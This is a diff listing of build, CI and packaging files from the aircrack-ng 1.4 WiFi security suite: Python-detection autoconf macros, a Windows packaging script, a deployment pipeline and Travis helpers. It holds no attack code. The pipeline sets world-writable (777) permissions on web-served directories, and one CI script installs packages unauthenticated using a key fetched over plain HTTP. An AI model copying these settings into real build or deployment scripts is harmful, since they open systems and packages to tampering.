+# -------------------------
+# Find the Python ABI flags
+AC_DEFUN([PC_PYTHON_CHECK_ABI_FLAGS],
+[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
+dnl Try to find the ABI flags with python-config otherwise give up
+AC_CACHE_CHECK([for Python ABI flags], [pc_cv_python_abi_flags],
+[if test -x "$PYTHON_CONFIG"; then
+     pc_cv_python_abi_flags=`$PYTHON_CONFIG --abiflags 2>&AS_MESSAGE_LOG_FD`
+else
+    pc_cv_python_abi_flags=
+fi
+])
+AC_SUBST([PYTHON_ABI_FLAGS], [$pc_cv_python_abi_flags])])
+
+
+# PC_PYTHON_CHECK_PLATFORM
+# ------------------------
+# At times (like when building shared libraries) you may want
+# to know which OS platform Python thinks this is.
+AC_DEFUN([PC_PYTHON_CHECK_PLATFORM],
+[AC_REQUIRE([PC_PROG_PYTHON])[]dnl
+dnl Get the platform from within Python (sys.platform)
+AC_CACHE_CHECK([for Python platform], [pc_cv_python_platform],
+    [AC_LANG_PUSH(Python)[]dnl
+     AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
+import sys
+], [dnl
+    sys.stdout.write(sys.platform)
+])], [pc_cv_python_platform=`./conftest`;
+     if test $? != 0; then
+        AC_MSG_WARN([could not determine Python platform])
+     fi],
+     [AC_MSG_WARN([failed to run Python program])])
+    AC_LANG_POP(Python)[]dnl
+   ])
+AC_SUBST([PYTHON_PLATFORM], [$pc_cv_python_platform])
+])
+
+
+# PC_PYTHON_CHECK_SITE_DIR
+# ---------------------
+# The directory to which new libraries are installed (i.e. the
+# "site-packages" directory.
+AC_DEFUN([PC_PYTHON_CHECK_SITE_DIR],
+[AC_REQUIRE([PC_PROG_PYTHON])AC_REQUIRE([PC_PYTHON_CHECK_PREFIX])[]dnl
+AC_CACHE_CHECK([for Python site-packages directory],
+    [pc_cv_python_site_dir],
+    [AC_LANG_PUSH(Python)[]dnl
+    if test "x$prefix" = xNONE
+     then
+       pc_py_prefix=$ac_default_prefix
+     else
+       pc_py_prefix=$prefix
+     fi
+     AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
+import sys
+from platform import python_implementation
+# sysconfig in CPython 2.7 doesn't work in virtualenv
+# <https://github.com/pypa/virtualenv/issues/118>
+try:
+    import sysconfig
+except:
+    can_use_sysconfig = False
+else:
+    can_use_sysconfig = True
+if can_use_sysconfig:
+    if python_implementation() == "CPython" and sys.version[[:3]] == '2.7':
+        can_use_sysconfig = False
+if not can_use_sysconfig:        
+    from distutils import sysconfig
+    sitedir = sysconfig.get_python_lib(False, False, prefix='$pc_py_prefix')
+else:
+    sitedir = sysconfig.get_path('purelib', vars={'base':'$pc_py_prefix'})
+], [dnl
+    sys.stdout.write(sitedir)
+])], [pc_cv_python_site_dir=`./conftest`],
+     [AC_MSG_WARN([failed to run Python program])])
+     AC_LANG_POP(Python)[]dnl
+     case $pc_cv_python_site_dir in
+     $pc_py_prefix*)
+       pc__strip_prefix=`echo "$pc_py_prefix" | sed 's|.|.|g'`
+       pc_cv_python_site_dir=`echo "$pc_cv_python_site_dir" | sed "s,^$pc__strip_prefix/,,"`
+       ;;
+     *)
+       case $pc_py_prefix in
+         /usr|/System*) ;;
+         *)
+	  pc_cv_python_site_dir=lib/python$PYTHON_VERSION/site-packages
+	  ;;
+       esac
+       ;;
+     esac
+     ])
+AC_SUBST([pythondir], [\${prefix}/$pc_cv_python_site_dir])])# PC_PYTHON_CHECK_SITE_DIR
+
+# PC_PYTHON_SITE_PACKAGE_DIR
+# --------------------------
+# $PACKAGE directory under PYTHON_SITE_DIR
+AC_DEFUN([PC_PYTHON_SITE_PACKAGE_DIR],
+[AC_REQUIRE([PC_PYTHON_CHECK_SITE_DIR])[]dnl
+AC_SUBST([pkgpythondir], [\${pythondir}/$PACKAGE_NAME])])
+
+
+# PC_PYTHON_CHECK_EXEC_DIR
+# ------------------------
+# directory for installing python extension modules (shared libraries)
+AC_DEFUN([PC_PYTHON_CHECK_EXEC_DIR],
+[AC_REQUIRE([PC_PROG_PYTHON])AC_REQUIRE([PC_PYTHON_CHECK_EXEC_PREFIX])[]dnl
+  AC_CACHE_CHECK([for Python extension module directory],
+    [pc_cv_python_exec_dir],
+    [AC_LANG_PUSH(Python)[]dnl
+    if test "x$pc_cv_python_exec_prefix" = xNONE
+     then
+       pc_py_exec_prefix=$pc_cv_python_prefix
+     else
+       pc_py_exec_prefix=$pc_cv_python_exec_prefix
+     fi
+     AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
+import sys
+from platform import python_implementation
+# sysconfig in CPython 2.7 doesn't work in virtualenv
+# <https://github.com/pypa/virtualenv/issues/118>
+try:
+    import sysconfig
+except:
+    can_use_sysconfig = False
+else:
+    can_use_sysconfig = True
+if can_use_sysconfig:
+    if python_implementation() == "CPython" and sys.version[[:3]] == '2.7':
+        can_use_sysconfig = False
+if not can_use_sysconfig:        
+    from distutils import sysconfig
+    sitedir = sysconfig.get_python_lib(False, False, prefix='$pc_py__exec_prefix')
+else:
+    sitedir = sysconfig.get_path('purelib', vars={'platbase':'$pc_py_exec_prefix'})
+], [dnl
+    sys.stdout.write(sitedir)
+])], [pc_cv_python_exec_dir=`./conftest`],
+     [AC_MSG_WARN([failed to run Python program])])
+     AC_LANG_POP(Python)[]dnl
+     case $pc_cv_python_exec_dir in
+     $pc_py_exec_prefix*)
+       pc__strip_prefix=`echo "$pc_py_exec_prefix" | sed 's|.|.|g'`
+       pc_cv_python_exec_dir=`echo "$pc_cv_python_exec_dir" | sed "s,^$pc__strip_prefix/,,"`
+       ;;
+     *)
+       case $pc_py_exec_prefix in
+         /usr|/System*) ;;
+         *)
+	   pc_cv_python_exec_dir=lib/python$PYTHON_VERSION/site-packages
+	   ;;
+       esac
+       ;;
+     esac
+    ])
+AC_SUBST([pyexecdir], [\${exec_prefix}/$pc_cv_python_pyexecdir])]) #PY_PYTHON_CHECK_EXEC_LIB_DIR
+
+
+# PC_PYTHON_EXEC_PACKAGE_DIR
+# --------------------------
+# $PACKAGE directory under PYTHON_SITE_DIR
+AC_DEFUN([PC_PYTHON_EXEC_PACKAGE_DIR],
+[AC_REQUIRE([PC_PYTHON_CHECK_EXEC_DIR])[]dnl
+AC_SUBST([pkgpyexecdir], [\${pyexecdir}/$PACKAGE_NAME])])
+
+
+## -------------------------------------------- ##
+## 4. Looking for specific libs & functionality ##
+## -------------------------------------------- ##
+
+
+# PC_PYTHON_CHECK_MODULE(LIBRARY, [ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])
+# ----------------------------------------------------------------------
+# Macro for checking if a Python library is installed
+AC_DEFUN([PC_PYTHON_CHECK_MODULE],
+[AC_REQUIRE([PC_PROG_PYTHON])[]dnl
+m4_define([pc_python_safe_mod], m4_bpatsubsts($1, [\.], [_]))
+AC_CACHE_CHECK([for Python '$1' library],
+    [[pc_cv_python_module_]pc_python_safe_mod],
+    [AC_LANG_PUSH(Python)[]dnl
+     AC_RUN_IFELSE(
+	[AC_LANG_PROGRAM([dnl
+import sys
+try:
+    import $1
+except:
+    sys.exit(1)
+else:
+    sys.exit(0)
+], [])],
+	[[pc_cv_python_module_]pc_python_safe_mod="yes"],
+	[[pc_cv_python_module_]pc_python_safe_mod="no"])
+     AC_LANG_POP(Python)[]dnl
+    ])
+AS_IF([test "$[pc_cv_python_module_]pc_python_safe_mod" = "no"], [$3], [$2])
+])# PC_PYTHON_CHECK_MODULE
+
+
+# PC_PYTHON_CHECK_FUNC([LIBRARY], FUNCTION, ARGS, [ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])
+# ---------------------------------------------------------------------------------------
+# Check to see if a given function call, optionally from a module, can
+# be successfully called
+AC_DEFUN([PC_PYTHON_CHECK_FUNC],
+[AC_REQUIRE([PC_PROG_PYTHON])[]dnl
+m4_define([pc_python_safe_mod], m4_bpatsubsts($1, [\.], [_]))
+AC_CACHE_CHECK([for Python m4_ifnblank($1, '$1.$2()', '$2()') function],
+    [[pc_cv_python_func_]pc_python_safe_mod[_$2]],
+    [AC_LANG_PUSH(Python)[]dnl
+     AC_RUN_IFELSE(
+	[AC_LANG_PROGRAM([dnl
+import sys
+m4_ifnblank([$1], [dnl
+try:
+    import $1
+except:
+    sys.exit(1)
+], [])], 
+[
+m4_ifnblank([$1], [
+    try:
+        $1.$2($3)], [
+    try:
+        $2($3)])
+    except:
+        sys.exit(1)
+    else:
+        sys.exit(0)
+])],
+	[[pc_cv_python_func_]pc_python_safe_mod[_$2]="yes"],
+	[[pc_cv_python_func_]pc_python_safe_mod[_$2]="no"])
+     AC_LANG_POP(Python)[]dnl
+    ])
+AS_IF([test "$[pc_cv_python_func_]pc_python_safe_mod[_$2]" = "no"], [$5], [$4])
+])# PC_PYTHON_CHECK_FUNC

aircrack-ng-1.4.tar.gz/build/m4/stubs Added

aircrack-ng-1.4.tar.gz/build/m4/stubs/.gitkeep Added

aircrack-ng-1.4.tar.gz/build/openssl.sh Added

aircrack-ng-1.4.tar.gz/build/package-win32.ps1 Added

@@ -0,0 +1,187 @@
+#######################################################################
+#
+# Copyright (C) 2018 Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc.
+# 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+#######################################################################
+#
+# Requirements:
+#   - Microsoft Visual Studio 2017 Community is installed.
+#   - Cygwin; both 32-bit and 64-bit.
+#   - All Cygwin dependencies are installed in both 32-bit and in
+#     64-bit versions.
+#   - Airpcap is extracted in the root of the project.
+#   - The working directory is the root of the project.
+#   - Assumes utilities are installed in AppVeyor-specific
+#     locations. (Mostly default installation locations.)
+#
+# Running the script:
+#
+#   powershell -File package-win32.ps1
+#
+#######################################################################
+
+$env:CHERE_INVOKING = 1
+
+$env:AIRPCAP = c:\cygwin\bin\bash.exe -e -l -c "/bin/cygpath -u `'$(Get-Location)`'"
+$env:MSBUILD = "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\MSBuild.exe"
+
+$REV = c:\cygwin\bin\bash.exe -e -l -c "./evalrev"
+$env:DIST = "aircrack-ng-$REV-win"
+
+Write-Host -ForegroundColor Blue "Creating dist folder: $env:DIST"
+
+if ((Test-Path -Path "src\.deps")) {
+    Write-Host -ForegroundColor Blue "Running distclean"
+    c:\cygwin\bin\bash.exe -e -l -c "/bin/make distclean"
+}
+
+if ((Test-Path -Path "$env:DIST")) {
+    Write-Host -ForegroundColor Blue "Removing existing dist folder."
+    Remove-Item -Recurse -Force $env:DIST
+}
+
+Write-Host -ForegroundColor Blue "Creating pristine sources"
+c:\cygwin\bin\bash.exe -e -l -c "git archive --format=tar --prefix=`"$env:DIST/`" HEAD | /bin/tar xf -"
+if ($LASTEXITCODE -ne 0) {
+    Write-Host -ForegroundColor Red "Failed to create pristine sources!"
+    Break
+}
+
+Write-Host -ForegroundColor Blue "Running autoreconf"
+c:\cygwin\bin\bash.exe -e -l -c "/bin/autoreconf -vi" | Out-Null
+if ($LASTEXITCODE -ne 0) {
+    Write-Host -ForegroundColor Red "Failed to run autoreconf!"
+    Break
+}
+
+Write-Host -ForegroundColor Blue "Building 32-bit binaries"
+$b32 = @"
+#!/bin/bash
+set -eufx
+[ -d 32bit ] && rm -fr 32bit
+mkdir 32bit
+cd 32bit
+env CFLAGS="-O3 -mtune=i686 -DNDEBUG" LDFLAGS="-Wl,--enable-auto-image-base" ../configure --host=i686-pc-cygwin --target=i686-pc-cygwin --with-experimental --with-airpcap=$env:AIRPCAP --enable-win32-portable
+/bin/make V=1
+"@
+$b32.Replace("`r`n","`n") | Set-Content -Path 32build.sh -Force
+c:\cygwin\bin\bash.exe -e -l -c "/bin/chmod +x 32build.sh && ./32build.sh"
+if ($LASTEXITCODE -ne 0) {
+    Write-Host -ForegroundColor Red "Failed to build 32-bit binaries!"
+    Break
+}
+
+Write-Host -ForegroundColor Blue "Building 64-bit binaries"
+$b64 = @"
+#!/bin/bash
+set -eufx
+[ -d 64bit ] && rm -fr 64bit
+mkdir 64bit
+cd 64bit
+env CFLAGS="-O3 -mtune=opteron -DNDEBUG" LDFLAGS="-Wl,--enable-auto-image-base" ../configure --host=x86_64-pc-cygwin --target=x86_64-pc-cygwin --with-experimental --with-airpcap=$env:AIRPCAP --enable-win32-portable
+/bin/make V=1
+"@
+$b64.Replace("`r`n","`n") | Set-Content -Path 64build.sh -Force
+c:\cygwin64\bin\bash.exe -e -l -c "/bin/chmod +x 64build.sh && ./64build.sh"
+if ($LASTEXITCODE -ne 0) {
+    Write-Host -ForegroundColor Red "Failed to build 64-bit binaries!"
+    Break
+}
+
+Write-Host -ForegroundColor Blue "Cloning GUI tools"
+if ((Test-Path -Path "gui")) {
+    Write-Host -ForegroundColor Blue "Removing existing gui folder."
+    Remove-Item -Recurse -Force gui
+}
+git clone --no-checkout --depth 1 --single-branch --branch Windows https://github.com/aircrack-ng/aircrack-ng.git gui
+Push-Location gui
+git reset --hard
+Pop-Location
+
+c:\cygwin\bin\bash.exe -e -l -c "/bin/rsync -a gui/ `"$env:DIST/src`" && /bin/rm -fr `"$env:DIST/src/.git`" `"$env:DIST/patches`" `"$env:DIST/apparmor`""
+
+Push-Location gui/GUI
+& "$env:MSBUILD" Aircrack-ng.sln /p:Configuration=Release /p:Platform="Any CPU"
+if ($LASTEXITCODE -ne 0) {
+    Write-Host -ForegroundColor Red "Failed to build GUI!"
+    Pop-Location
+    Break
+}
+Pop-Location
+
+if ((Test-Path -Path "$env:DIST.zip")) {
+    Write-Host -ForegroundColor Blue "Removing existing ZIP file."
+    Remove-Item -Force "$env:DIST.zip"
+}
+
+$pkg = @"
+#!/bin/bash
+set -eufx
+
+mkdir "$env:DIST/bin"
+mkdir "$env:DIST/bin/32bit"
+mkdir "$env:DIST/bin/64bit"
+
+cp -pr "gui/GUI/Aircrack-ng/bin/Release/Aircrack-ng GUI.exe" $env:DIST/bin
+
+find 32bit -path "*/.libs" -print0 | xargs -0I [] -n 1 find [] $ -name "*.exe" -o -name "*.dll" $ -exec cp -p {} "$env:DIST/bin/32bit" ';'
+find 64bit -path "*/.libs" -print0 | xargs -0I [] -n 1 find [] $ -name "*.exe" -o -name "*.dll" $ -exec cp -p {} "$env:DIST/bin/64bit" ';'
+
+# AirPcap DLLs
+cp -p "Airpcap_Devpack/bin/x86/airpcap.dll" "$env:DIST/bin/32bit"
+cp -p "Airpcap_Devpack/bin/x64/airpcap.dll" "$env:DIST/bin/64bit"
+
+# Cygwin License
+cp /usr/share/doc/Cygwin/CYGWIN_LICENSE "$env:DIST/LICENSE.Cygwin"
+
+# gather dependencies of Cygwin
+FILES="cygcrypto-1.0.0.dll cyggcc_s-1.dll cyggcc_s-seh-1.dll cygpcre-1.dll cygsqlite3-0.dll cygstdc++-6.dll cygwin1.dll cygz.dll"
+
+for FILE in `$FILES; do
+    cp -p "/cygdrive/c/cygwin/bin/`$FILE" "$env:DIST/bin/32bit" || :
+    cp -p "/cygdrive/c/cygwin64/bin/`$FILE" "$env:DIST/bin/64bit" || :
+done
+
+"$env:DIST/bin/32bit/aircrack-ng" -u
+rc=`$("$env:DIST/bin/32bit/aircrack-ng" --simd-list | wc -c)
+if [ `$rc -ne 22 ]; then
+	echo "The expected number of SIMD engines are NOT present in 32-bit binary."
+	exit 1
+fi
+
+"$env:DIST/bin/64bit/aircrack-ng" -u
+rc=`$("$env:DIST/bin/64bit/aircrack-ng" --simd-list | wc -c)
+if [ `$rc -ne 22 ]; then
+	echo "The expected number of SIMD engines are NOT present in 64-bit binary."
+	exit 1
+fi
+
+zip -o -v -9 -r "$env:DIST.zip" "$env:DIST"
+( cat README; echo; echo . ) | zip -z "$env:DIST.zip"
+exit 0
+#
+#
+"@
+$pkg.Replace("`r`n","`n") | Set-Content -Path pkg.sh -Force
+c:\cygwin\bin\bash.exe -e -l -c "/bin/chmod +x pkg.sh && ./pkg.sh"
+if ($LASTEXITCODE -ne 0) {
+    Write-Host -ForegroundColor Red "Failed to package!"
+    Break
+}
+
+Write-Host -ForegroundColor Green "Packaging successful!"

aircrack-ng-1.4.tar.gz/build/pipelines Added

aircrack-ng-1.4.tar.gz/build/pipelines/package.yaml Added

@@ -0,0 +1,272 @@
+---
+
+##
+# Aircrack-ng Pipeline Definition
+#
+# Built with the PyDeployer tool!
+#
+# https://github.com/jbenden/deployer
+##
+
+- name: Packaging Preparations
+  tags:
+    - pkg
+  stage:
+    scope: false
+    tasks:
+      - name: Set package metadata
+        set:
+          artifacts: artifacts/aircrack-ng
+          www: '{% if env.ARTIFACT_WWW_ROOT %}{{ env.ARTIFACT_WWW_ROOT }}{% else %}/tmp/www{% endif %}'
+          description: |
+            Aircrack-ng is a complete suite of tools to assess WiFi network
+            security.
+
+            It focuses on different areas of WiFi security:
+
+              - Monitoring: Packet capture and export of data to text files
+                for further processing by third party tools.
+              - Attacking: Replay attacks, deauthentication, fake access points
+                and others via packet injection.
+              - Testing: Checking WiFi cards and driver capabilities (capture
+                and injection).
+              - Cracking: WEP and WPA PSK (WPA 1 and 2).
+
+            All tools are command line which allows for heavy scripting. A lot
+            of GUIs have taken advantage of this feature. It works primarily with
+            Linux but also Windows, OS X, FreeBSD, OpenBSD, NetBSD, as well as
+            Solaris and even the eComStation 2.
+          fpm: |
+            [ -e "{{ item.pkg }}" ] && rm -f "{{ item.pkg }}"
+            fpm -s dir \
+                -t "{{ item.pkg_type }}" \
+                -n "{{ item.pkg_name }}" \
+                -v "{{ item.pkg_version }}" \
+                --epoch 1 \
+                -C "{{ destdir }}" \
+                --license GPLv2 \
+                -m "info@aircrack-ng.org" \
+                --vendor 'The Aircrack-ng Project' \
+                --url 'https://aircrack-ng.org/' \
+                --description "{{ description }}" \
+                -p "{{ item.pkg_template }}" \
+                -x *.la \
+                {{ item.pkg_deps }} \
+                {{ item.pkg_content }}
+            [ "{{ item.pkg_type }}" = deb ] && dpkg-deb -c "{{ item.pkg }}" || :
+            [ "{{ item.pkg_type }}" = deb ] && dpkg-deb -I "{{ item.pkg }}" || :
+            [ "{{ item.pkg_type }}" = rpm ] && rpm -qp "{{ item.pkg }}" --info || :
+          pkg:
+            - pkg: "aircrack-ng_{{ pkg_deb_revision }}_amd64.deb"
+              pkg_name: aircrack-ng
+              pkg_type: deb
+              pkg_template: "aircrack-ng_VERSION_ARCH.deb"
+              pkg_deps: "--category net --deb-priority optional -d iw -d wireless-tools -d ethtool -d usbutils -d rfkill -d libc6 -d libgcc1 -d libltdl7 -d libnl-3-200 -d libnl-genl-3-200 -d libstdc++6"
+              pkg_content: "usr/bin usr/lib usr/sbin usr/share/man"
+              pkg_version: "{{ pkg_deb_revision }}"
+            - pkg: "aircrack-ng-{{ pkg_rpm_revision }}.x86_64.rpm"
+              pkg_name: aircrack-ng
+              pkg_type: rpm
+              pkg_template: "aircrack-ng-VERSION.ARCH.rpm"
+              pkg_deps: "-d iw -d wireless-tools -d ethtool -d usbutils -d rfkill -d glibc -d libgcc -d libtool-ltdl -d libnl3 -d libstdc++"
+              pkg_content: "usr/bin usr/lib usr/sbin usr/share/man"
+              pkg_version: "{{ pkg_rpm_revision }}"
+      - command: mktemp -d
+        register: destdir
+      - shell:
+          script: ./evalrev | sed -e 's/_rev//g'
+        register: revision
+      - command: git rev-parse HEAD
+        register: commit_id
+      - command: git rev-parse --abbrev-ref HEAD
+        register: branch
+      - shell:
+          script: 'git describe --abbrev=0 --tags 2>/dev/null || echo unknown'
+        register: closest_tag
+      - shell:
+          script: 'git describe --abbrev=0 --tags --exact-match 2>/dev/null || echo'
+        register: exact_tag
+      - command: date -u +%Y%m%d%H%M%S
+        register: pkg_date
+      - name: Calculating the Debian package version
+        command: echo {{ closest_tag }}+git{{ pkg_date }}-1
+        register: pkg_deb_revision
+      - name: Calculating the RPM package version
+        shell:
+          script: echo {{ closest_tag }}.{% print pkg_date.stdout[:8] %}git$(git rev-parse --short HEAD)
+        register: pkg_rpm_revision
+
+      - name: Metadata Evaluation
+        echo: |
+          destdir         : {{ destdir }}
+          revision        : {{ revision }}
+          commit          : {{ commit_id }}
+          branch          : {{ branch }}
+          closest_tag     : {{ closest_tag }}
+          exact_tag       : {{ exact_tag }}
+          pkg_date        : {{ pkg_date }}
+          pkg_deb_revision: {{ pkg_deb_revision }}
+          pkg_rpm_revision: {{ pkg_rpm_revision }}
+
+- name: Packaging Build
+  tags:
+    - pkg
+  stage:
+    tasks:
+      - name: Clean build artifacts
+        shell:
+          script: |
+            find . -name '.deps' -a -type d -exec rm -fr {} ';' 2>/dev/null || :
+            find . -name '.libs' -a -type d -exec rm -fr {} ';' 2>/dev/null || :
+          silent: true
+
+      - name: Ensure configure is present
+        command: autoreconf -vi
+
+      - name: Configure
+        command: >
+          ./configure --prefix=/usr
+                      --with-experimental
+                      --enable-static-crypto
+                      --enable-static-hwloc
+                      --enable-static-sqlite3
+                      --enable-static-pcre
+                      --enable-static-pcap
+
+      - name: Make clean
+        shell:
+          script: make clean
+          silent: true
+
+      - name: Compile
+        shell:
+          script: make V=1
+          silent: true
+
+      - name: Run unit-tests
+        command: make check
+
+      - name: Staging Installation
+        command: "make install-strip DESTDIR={{ destdir }}"
+
+      - name: Packaging
+        shell:
+          script: "{{ fpm }}"
+        with_items: "{{ pkg }}"
+
+- name: Packaging Deployment
+  tags:
+    - deploy
+  stage:
+    tasks:
+      - name: Deploying development packages to the web server
+        tags:
+          - www
+        stage:
+          tasks:
+            - shell:
+                script: |
+                  {% set path = "{{ www }}/{{ artifacts }}/development/{{ commit_id }}/{{ item.pkg_type }}" %}
+                  {% set prefix = "{{ www }}/{{ artifacts }}" %}
+                  mkdir -p {{ path }}
+                  chmod 777 "{{ www }}/{{ artifacts }}/development/{{ commit_id }}"
+                  chmod 777 {{ path }}
+                  ( cd {{ prefix }}/development && ln -sfnd {{ commit_id }} {{ branch }} )
+                  cp -p {{ item.pkg }} {{ path }}
+                  chmod 664 {{ path }}/{{ item.pkg }}
+              with_items: "{{ pkg }}"
+
+            - name: Deploying development package manifest
+              tags:
+                - www
+              shell:
+                script: |
+                  mkdir -p {{ www }}/{{ artifacts }}
+                  cat > {{ www }}/{{ artifacts }}/development.json <<-EOF
+                  {
+                    "build": "development",
+                    "commit": "{{ commit_id }}",
+                    "tag": "{{ closest_tag }}",
+                    "date": "$(date -u)",
+                    "url": "https://packages.aircrack-ng.org/artifacts/aircrack-ng/development/{{ commit_id }}"
+                  }
+                  EOF
+
+            - name: Deploying stable packages to the web server
+              tags:
+                - www
+              shell:
+                script: |
+                  {% set prefix = "{{ www }}/{{ artifacts }}" %}
+                  mkdir -p {{ prefix }}/stable
+                  chmod 777 {{ prefix }}/stable
+                  ln -sfnd {{ prefix }}/development/{{ commit_id }} {{ prefix }}/stable/{{ exact_tag }}
+              when: "exact_tag | trim | count > 0"
+
+            - name: Deploying stable package manifest
+              tags:
+                - www
+              shell:
+                script: |
+                  cat > {{ www }}/{{ artifacts }}/stable.json <<-EOF
+                  {
+                    "build": "stable",
+                    "commit": "{{ commit_id }}",
+                    "tag": "{{ exact_tag }}",
+                    "date": "$(date -u)",
+                    "url": "https://packages.aircrack-ng.org/artifacts/aircrack-ng/stable/{{ exact_tag }}"
+                  }
+                  EOF
+              when: "exact_tag | trim | count > 0"
+
+      - name: Deploying development packages to PackageCloud.io
+        tags:
+          - package_cloud
+        matrix:
+          tags:
+            - deb
+            - rpm
+          tasks:
+            - name: Deploy Debian Packages
+              when: "matrix_tag == 'deb'"
+              matrix:
+                tags:
+                  - debian/jessie
+                  - debian/stretch
+                  - debian/buster
+                  - elementaryos/loki
+                  - linuxmint/sylvia
+                  - linuxmint/tara
+                  - raspbian/buster
+                  - ubuntu/xenial
+                  - ubuntu/bionic
+                tasks:
+                  - command: "package_cloud push aircrack-ng/git/{{ matrix_tag }} {{ item.pkg }}"
+                    with_items: "{{ pkg | selectattr('pkg_type', 'equalto', 'deb') | list }}"
+
+                  - command: "package_cloud push aircrack-ng/release/{{ matrix_tag }} {{ item.pkg }}"
+                    when: "exact_tag | trim | count > 0"
+                    with_items: "{{ pkg | selectattr('pkg_type', 'equalto', 'deb') | list }}"
+
+            - name: Deploy RPM Packages
+              when: "matrix_tag == 'rpm'"
+              matrix:
+                tags:
+                  - el/7
+                  - fedora/27
+                  - fedora/28
+                  - opensuse/42.1
+                  - opensuse/42.2
+                  - opensuse/42.3
+                  - sles/12.0
+                  - sles/12.1
+                  - sles/12.2
+                  - sles/12.3
+                tasks:
+                  - command: "package_cloud push aircrack-ng/git/{{ matrix_tag }} {{ item.pkg }}"
+                    with_items: "{{ pkg | selectattr('pkg_type', 'equalto', 'rpm') | list }}"
+
+                  - command: "package_cloud push aircrack-ng/release/{{ matrix_tag }} {{ item.pkg }}"
+                    when: "exact_tag | trim | count > 0"
+                    with_items: "{{ pkg | selectattr('pkg_type', 'equalto', 'rpm') | list }}"
+

aircrack-ng-1.4.tar.gz/build/travis-format.sh Added

@@ -0,0 +1,68 @@
+#!/usr/bin/env bash
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+
+
+# Params to script are:
+# 1st = Short name
+# 2nd = Long name
+# 3rd+ = Code/Script under test
+
+set -euf
+
+SHORTNAME="$1"; shift
+LONGNAME="$1"; shift
+
+#
+# Begin our fold
+#
+echo -e 'travis_fold:start:'"${SHORTNAME}"'\n\e[0K\e[33;1m'"${LONGNAME}"'\e[0m'
+
+#
+# Begin a timed block
+#
+if [ "$TRAVIS_OS_NAME" == "osx" ]; then
+    SHA256SUM="shasum -a 256"
+else
+    SHA256SUM="sha256sum"
+fi
+START=$(python -c 'import time; print "%.9f" % time.time()' | tr -d '.')
+TOKEN=$(echo "${START}" | $SHA256SUM | cut -c1-7)
+echo -e "travis_time:start:${TOKEN}"
+
+
+#
+# Code under test is here!
+#
+set +e
+"$@"
+rc=$?
+set -e
+
+#
+# End a timed block
+#
+END=$(python -c 'import time; print "%.9f" % time.time()' | tr -d '.')
+ELAPSED=$(echo "$END - $START" | bc)
+echo -e "travis_time:end:${TOKEN}:start=${START},finish=${END},duration=${ELAPSED}"
+
+#
+# End our fold
+#
+echo -e "travis_fold:end:${SHORTNAME}"
+
+exit $rc

aircrack-ng-1.4.tar.gz/build/travis-formatting.sh Added

@@ -0,0 +1,43 @@
+#!/bin/sh
+
+#
+# Bail on OS X for testing this functionality.
+#
+if [ "$TRAVIS_OS_NAME" == "osx" ]; then
+    exit 0
+fi
+
+#
+# Only works with GCC.
+#
+case "$CC" in
+    clang*|llvm*) exit 0;;
+esac
+
+sudo add-apt-repository -y 'deb http://apt.llvm.org/precise/ llvm-toolchain-precise-3.8 main'
+wget -O - http://apt.llvm.org/llvm-snapshot.gpg.key | sudo apt-key add -
+sudo apt-get update -qq
+sudo apt-get install --allow-unauthenticated -y -qq clang-format-3.8
+
+# check formatting matches clang-format-3.8. Since newer versions can have
+# changes in formatting even without any rule changes, we have to fix on a
+# single version.
+. ./build/clang_format_all.sh
+
+git clean -f
+
+# Print any diff here, so the error message below is the last thing
+git diff
+
+git diff --quiet || (
+  echo "***************************************************";
+  echo "*** The code is not clean against clang-format  ***";
+  echo "*** Please run clang-format-3.8 and fix the     ***";
+  echo "*** differences then rebase/squash them into    ***";
+  echo "*** the relevant commits. Do not add a commit   ***";
+  echo "*** for just formatting fixes. Thanks!          ***";
+  echo "***************************************************";
+  exit 1;
+  )
+
+exit 0

aircrack-ng-1.4.tar.gz/configure.ac Added

@@ -0,0 +1,268 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your # version of the file(s), but you are not obligated
+# to do so.
+#
+# If you # do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+# FIXME: MULTIBIN implementation in here and src/Makefile.am
+
+AC_PREREQ(2.52)
+AC_INIT([aircrack-ng],
